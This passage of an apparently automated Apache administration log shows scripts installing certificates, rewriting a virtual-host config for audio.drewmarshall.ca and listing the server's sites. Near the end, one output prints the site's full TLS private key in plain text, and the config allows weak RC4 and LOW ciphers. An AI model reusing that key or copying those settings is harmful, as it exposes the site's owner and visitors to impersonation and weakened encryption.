Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-17 06:00:24: 

chmod 755 /tmp/pkp207533; /tmp/pkp207533; rm /tmp/pkp207533

2026-06-17 06:00:24: 


dir=/etc/ssl/certs


2026-06-17 06:00:24: 

PUT: /tmp/pkp790971

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-17 06:00:24: 

chmod 755 /tmp/pkp790971; /tmp/pkp790971; rm /tmp/pkp790971

2026-06-17 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf 45

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-17 06:00:24: 

PUT: /tmp/pkp751277

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_audio_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf= 1'
fi


2026-06-17 06:00:24: 

chmod 755 /tmp/pkp751277; /tmp/pkp751277; rm /tmp/pkp751277

2026-06-17 06:00:24: 




2026-06-17 06:00:24: 

PUT: /tmp/pkp956311

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-17 06:00:24: 

chmod 755 /tmp/pkp956311; /tmp/pkp956311; rm /tmp/pkp956311

2026-06-17 06:00:24: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-17 06:00:24: Establishing a connection
2026-06-17 06:00:24: 

PUT: /tmp/pkp611261

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-17 06:00:24: 

chmod 755 /tmp/pkp611261; /tmp/pkp611261; rm /tmp/pkp611261

2026-06-17 06:00:24: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-17 06:00:24: 

PUT: /tmp/pkp615168

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-17 06:00:24: 

chmod 755 /tmp/pkp615168; /tmp/pkp615168; rm /tmp/pkp615168

2026-06-17 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf	1238

<VirtualHost *:80>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
    DocumentRoot	/var/www/drewmarshall_audio
    <Directory /var/www/drewmarshall_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-17 06:00:24: 

PUT: /tmp/pkp411951

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-17 06:00:24: 

chmod 755 /tmp/pkp411951; /tmp/pkp411951; rm /tmp/pkp411951

2026-06-17 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt	7432
88:f1:e4:ce:85:a9:5b:67:07:a9:ce:91:1d:80:6f:db

-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBfJ5KdULlChNoxPEcUdgJdP0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE3MDUwMTUyWhcNMjYwOTE1MDUwMTUxWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCuc+ZPgPfbS7p3NTdvXacCmueV2Z1R4PHodVu2536OVLqdJyGEpGOP
oUMPOXlLLnXe9sIXq3mWNPbwKfC+oQwSiptGWlsn9HEZ6TPJh+9lTVeafJtuGM1d
kvJsO8QdvEV7W+sE17mcBRALxmqfBPNlsURJzHYgHj9GfzOeMiSecoedgJU42Ta1
JjLhsXrpGHPjNEsMLFfKiDBxVTqYklHHqo8zK/ljpbpOzQs40FK3ewIaS/Gf1pau
+j7CBSGX5KUNs4GKs5ZkNWzSLQgK2ZFR8t92mSPrHs28EYxvTjEHEvCWaLh38q/O
/kQl3eAN1KFbBaIOYYXKZ8lDI+qRVXc3AgMBAAGjggIkMIICIDAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUH+ngn/WYfixPbGy75eg0oJPp180wHwYDVR0jBBgwFoAUQBUtJnntMiCe35py
HdYyH4EMgQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIy
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVhdWRpby5kcmV3bWFyc2hhbGwuY2Ew
EwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3ly
Mi5jLmxlbmNyLm9yZy8xMTcuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUA
yKPEf8ezrbk1awE/anoSbeM6TkOlxkb5l605dZkdz5oAAAGe1CqbWwAABAMARjBE
AiADi+qR7XFkpyykY/XcVq09D4lcP8H38nyx9rpN80w5HAIgLzjKFLdcYD42px+F
sohdSH3PgX4N19BX6G8pkhh5SjAAfwBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDR
c4CeGBjrOgAAAZ7UKp2hAAgAAAUAENgi6QQDAEgwRgIhAP4PXze4N3ABWzGMzaZx
EP3Hmtm0tDsDGTh3GMW88es6AiEAjSBs5e4VqV97xXbCarLkjBoB5PB15fjzYcjw
L+9e61EwDQYJKoZIhvcNAQELBQADggEBAKymrHjwzCDXmVNcoJpvqXwcWUFAN23o
mBCEW09/UnnSBCvQXeAKtIUXCZXCgt+CpeTKSyrguJ1DjkXIw4SdSPXSalWbk6U6
KQ30qw604WwtcJTsUkagOBGwHE5ndjm8trveFW7vgH3HJ1/5517M2XMxmg6Fxk4z
O4xuMbw2t2lFGwkSaakatzm6nWdg5IWzNHG7hLGgCdEDQ2P7VgjFhj/dC7jYUbzr
hl2anC3xsm1/s1WrM+BE2S8vOZKm4Gulk/e7rP78pkK+ckm4zE2KK0ZPkn4sEqg9
Nd6TJ/Zz4sKr8cNVt6P8h0JnQngdg+cbnRDG94TFgbp2xCqzn4dfVF8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCuc+ZPgPfbS7p3
NTdvXacCmueV2Z1R4PHodVu2536OVLqdJyGEpGOPoUMPOXlLLnXe9sIXq3mWNPbw
KfC+oQwSiptGWlsn9HEZ6TPJh+9lTVeafJtuGM1dkvJsO8QdvEV7W+sE17mcBRAL
xmqfBPNlsURJzHYgHj9GfzOeMiSecoedgJU42Ta1JjLhsXrpGHPjNEsMLFfKiDBx
VTqYklHHqo8zK/ljpbpOzQs40FK3ewIaS/Gf1pau+j7CBSGX5KUNs4GKs5ZkNWzS
LQgK2ZFR8t92mSPrHs28EYxvTjEHEvCWaLh38q/O/kQl3eAN1KFbBaIOYYXKZ8lD
I+qRVXc3AgMBAAECggEABr+UAVpR/DPd5t5Hooa4aa44AYDKsvqlJk1ikAeSH+EL
hlMXsFZdmuuYOP62VaAFTkE0Y+RYY+Tw8nxk2YhIURqh2WMFvgduLUbrSm34PEPK
0j6PZ/8Mnq81soB4sdUbyPhWyzf/Gu0f4EdmI3hLuWYrPUGWsN+1VJL3b7StMaCD
GhsAH4BU0zfQ95EqTA1DpnTdqJAutIKmJDqjING0djowIHLtezw4EtMRbxdr0IX1
naMKsh1REvohl/zgNETlOwAn2TJB02JBx8BZkID/ChERX5IoeXJWhp3R2ip3SEHz
+Rlbv92RqO/cEny6R8mgX7SsONM1tjMjWtlNKHHl7QKBgQDtIWSeTtrXx7JobnIX
1V3Afsjj9vI4jsyo9dWrz8LSNTrBi9EHgv71zxII1I8wfP9xBaTdl7YHPiw2Tsrh
74JAf0dGj3IK9RviQwqX+jcI2LYYlmz2KWTEJH0Per85ueU375O71TPwv/uQmaKb
B2BPZ//iluLLXBJugUmCUI5hrQKBgQC8VbFoctNWX3pEuzuQQqUauPix8xheJBWa
v4fEsfBOHZ82DYHldRrUR/EbuKvPrusIu1IAx4QOfmZE9WBdqu60NL9irm8ABHlN
xMIjgOsD5d0fInZk5diJPB/+mQFUom6cbDJblZo5CpUR/vbpwUak68OYxmaOh+V7
ATO5FEHA8wKBgBkylzKLRo3vVnHqao1FyvSNhGNU9mA0LGM33ECpjxYvOdMfPFME
BHuySURO8fhBEBO+ecpiOKGEZcZPkRd5D+oynCxPSdsIOLJOVW3Y1MhH3vG16lYu
B9sf1XoznOZRbp4HAzfOa/qFLAItkS3QFtfZQUOerPLXEc5URq9mR/rxAoGAcDos
To5mK0kX5g8gblWYZzUkVX4D3k1oZl+NuwNBrHrwXdhsuFwxEaCRJ7DDCS41tm1R
b090/OILdTo3I3nxZocsKNTDJmKEGniOK3PuF9OJEb2KiZOBlj2y3xcz+MgWW7YJ
yBN85FLPA/tIDYFz5GDtnINVp8eJUuQjez179UsCgYByZHXKodOeCy2Ouo4JZCB8
LQnnHc80A5pZC7cOAcO8SZqW2oDQEytP0C5j0F5Q9QbA3RQEif9MmodP1Q3msJ7a
cyG/mGE/46Jq7xsQNyiDriOmXX7YgPs19rXYGmVJ1vTg+gqawFVUNG7PEXDebjTh
npgzg0hmdoEWzTPhF47pNg==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
